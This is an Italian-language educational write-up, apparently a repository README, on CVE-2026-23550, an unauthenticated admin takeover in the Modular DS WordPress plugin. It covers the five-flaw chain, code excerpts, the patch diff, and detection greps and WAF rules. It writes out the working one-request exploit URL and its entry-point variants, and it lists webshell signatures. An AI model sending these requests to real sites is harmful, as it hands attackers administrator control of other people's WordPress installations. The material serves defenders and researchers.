
Relazione didattica e PoC per CVE-2026-23550, un'acquisizione critica della sessione admin non autenticata nel plugin WordPress Modular DS. Include analisi delle cause profonde, analisi del codice sorgente, diff delle patch e linee guida per il rilevamento.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Analisi Causa Radice · Analisi del Codice Sorgente · Diff della Patch · PoC Educativo
Di: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) è un plugin per la gestione di siti WordPress con oltre 40.000 installazioni attive. Le versioni ≤ 2.5.1 contengono una catena di cinque difetti che consentono a qualsiasi attaccante non autenticato di bypassare l'autenticazione, invocare l'endpoint di login interno del plugin e ricevere un cookie di sessionewordpress_logged_in_*per il primo account amministratore — con una singola richiesta HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: vittima.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Risultato: acquisizione completa dell'amministratore. L'attaccante può installare plugin malevoli, inserire webshell, creare account admin di backup, esfiltrare il database.
La vulnerabilità attiva un router personalizzato derivato da Laravel incorporato nel plugin. Il plugin fornisce il proprio kernel HTTP (Ares/Framework) che si aggancia all'azione parse_request di WordPress per intercettare le richieste prima che il routing nativo di WordPress subentri.
Prerequisiti: nessuno (plugin installato e attivo, connesso a Modular SaaS — predefinito per tutte le installazioni live).
Punti d'ingresso (uno qualsiasi è sufficiente):
/api/modular-connector/login/<qualsiasi>?origin=mo&type=<qualsiasi>
/?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/index.php?rest_route=/api/modular-connector/login/<qualsiasi>&origin=mo&type=<qualsiasi>
/wp-load.php?origin=mo&type=<qualsiasi>
La vulnerabilità non è un singolo difetto — è una catena di cinque difetti che si combinano. Ogni livello, visto isolatamente, può sembrare difendibile; combinati, collassano in un'acquisizione dell'admin pre-autenticazione.
flowchart TB
A["🌐 Richiesta Attaccante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Il cancello si apre solo con parametri query"]
B --> C["② Router::findRoute()<br/>URL risolto implicitamente alla rotta /login"]
C --> D["③ filtro bindOldRoutes()<br/>Cade attraverso per tipo sconosciuto"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth lato server, NON la richiesta"]
E --> F["⑤ AuthController::getLogin()<br/>Ripiega sul primo utente admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaccante = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
HttpUtils::isDirectRequest()File: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ solo param query, nessuna firma
}
return false;
}
Problema: La modalità "richiesta diretta" — pensata per identificare chiamate legittime dal backend Modular SaaS — è protetta da parametri di query in testo semplice senza HMAC, JWT, nonce firmato o whitelist IP. Qualsiasi attaccante può attivare questo interruttore.
Router::findRoute()File: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL risolto in rotta PRIMA che il filtro venga eseguito
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problema: routes->match($request) di Laravel risolve /api/modular-connector/login/xxx nella rotta login (protetta da autenticazione) prima che il filtro di sicurezza venga eseguito. Il filtro riceve questa rotta come input, dandogli l'onere di dimostrare che la rotta è illegittima anziché autorizzarla esplicitamente.
bindOldRoutes()File: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* riassocia tramite chiamata OAuth firmata */ }
if ($type === 'oauth') { /* riassocia al gestore /oauth */ }
if ($type === 'lb') { /* riassocia a /schedule/run */ }
return $route; // ⚠️ Tipo sconosciuto → la rotta dall'URL rimane invariata
}
Problema: Il filtro sovrascrive la rotta solo quando type è uno dei tre valori noti. Quando type è arbitrario (x, foo, vuoto), cade attraverso e restituisce la rotta risolta dall'URL invariata. La rotta guidata dall'URL login — che sulla carta era protetta da autenticazione — procede alla valutazione del middleware.
ModularGuard::check()File: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ verifica lo stato del SERVER
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
Problema: La guardia personalizzata modular esegue zero verifica dell'identità della richiesta in arrivo. Verifica solo che il plugin stesso mantenga ancora una sessione OAuth valida con Modular SaaS. Poiché praticamente ogni installazione è connessa (altrimenti il plugin è inutile), la guardia restituisce true per qualsiasi richiesta che la raggiunge.
Questo è il difetto cruciale. Anche se i difetti ①–③ fossero corretti, questa guardia rotta da sola permetterebbe comunque l'accesso non autorizzato a ogni rotta nel gruppo middleware auth.
AuthController::getLogin()File: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — binding mai popolato
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 primo admin del sito
}
$cookies = ServerSetup::loginAs($user, true); // 💣 emette cookie di sessione WP
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
Problema: Il binding route-model SiteRequest è popolato solo quando type === 'request' nella catena di filtri. Per type sconosciuto, $modularRequest arriva al controller come oggetto vuoto. Il controller quindi cade silenziosamente sul primo utente amministratore e rilascia un cookie di login WordPress. Chiunque può entrare dalla porta principale.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 sempre partire da una rotta 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
La correzione rimuove completamente la risoluzione implicita URL→rotta. Il filtro ora inizia con una rotta default cablata per restituire abort(404) e si riassocia a un controller reale solo quando type è uno dei tre valori esplicitamente autorizzati. Con la nuova logica, type=x produce un 404 — la richiesta non raggiunge mai il controller di login, e non c'è nulla contro cui la guardia rotta possa fallire in modo aperto.
Questa è difesa in profondità applicata retroattivamente: anche se ModularGuard::check() rimane strutturalmente debole, la catena di raggiungibilità è ora chiusa per le rotte protette da autenticazione.
modular-connector >= 2.5.2 — non negoziabile.Dopo l'aggiornamento, presupporre una compromissione se il plugin era ≤ 2.5.1 e accessibile da internet dopo il 2026-01-13. Verificare:
# 1. Account amministratore non autorizzati
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. Installazioni sospette di plugin dopo il 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. File core modificati di recente
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Webshell (payload comuni rilasciati post-exploit)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 tentativo di exploit (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 tentativo di bypass richiesta diretta'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
Ricercatore Avanzato CVE · Analista di Vulnerabilità · Costruttore di PoC
Questo repository è pubblicato strettamente a fini educativi e di ricerca difensiva.
La vulnerabilità è divulgata pubblicamente (CVE-2026-23550), corretta dal venditore (
modular-connector 2.5.2) e dettagliata nella stampa di sicurezza mainstream. Questo articolo esiste per aiutare i difensori a comprendere la causa radice, gli sviluppatori a imparare da un fallimento reale nella progettazione dell'autenticazione e i ricercatori a studiare uno schema di difetti concatenati.Non eseguire gli script PoC inclusi contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale in praticamente ogni giurisdizione (CFAA · Computer Misuse Act · ITE Law · etc.).
L'autore non si assume alcuna responsabilità per uso improprio. Se non sei sicuro che il tuo caso d'uso sia autorizzato, non lo è.
Realizzato con 🎯 per la comunità di ricerca sulla sicurezza.
⭐ Lascia una stella a questo repo se ti ha aiutato a imparare qualcosa.
| Campo | Valore |
|---|
| Nome Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerabile | <= 2.5.1 |
| Corretto | 2.5.2 |
| Installazioni Attive | ~40.000 |
| CVSS v3.1 | 10.0 / CRITICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Errori di Identificazione e Autenticazione |
| # | Livello | File | Problema Principale |
|---|
| ① | Cancello di bootstrap | HttpUtils.php:64 | Controllo origin=mo basato solo su query, senza crittografia/nonce |
| ② | Matching URL→rotta | Router.php:20 | Risoluzione URL implicita passata direttamente al filtro |
| ③ | Filtro sovrascrittura rotta | RouteServiceProvider.php:46 | type sconosciuto cade attraverso con la rotta originale intatta |
| ④ | Guardia di autenticazione | ModularGuard.php:16 | Valida stato OAuth lato server, non l'identità della richiesta |
| ⑤ | Controller di login | AuthController.php:66 | Ripiegamento silenzioso su getAdminUser() in assenza di input |
| Data | Evento |
|---|
| 2026-01-XX | Il venditore rilascia la 2.5.2 con correzione silenziosa di sicurezza |
| 2026-01-13 ~02:00 UTC | Primo sfruttamento osservato in natura |
| 2026-01-13 | Patchstack pubblica advisory · CVE-2026-23550 assegnato |
| 2026-01-14 | Copertura su The Hacker News, BleepingComputer, Security Affairs |
| 2026-07-05 | Pubblicazione di questo articolo didattico |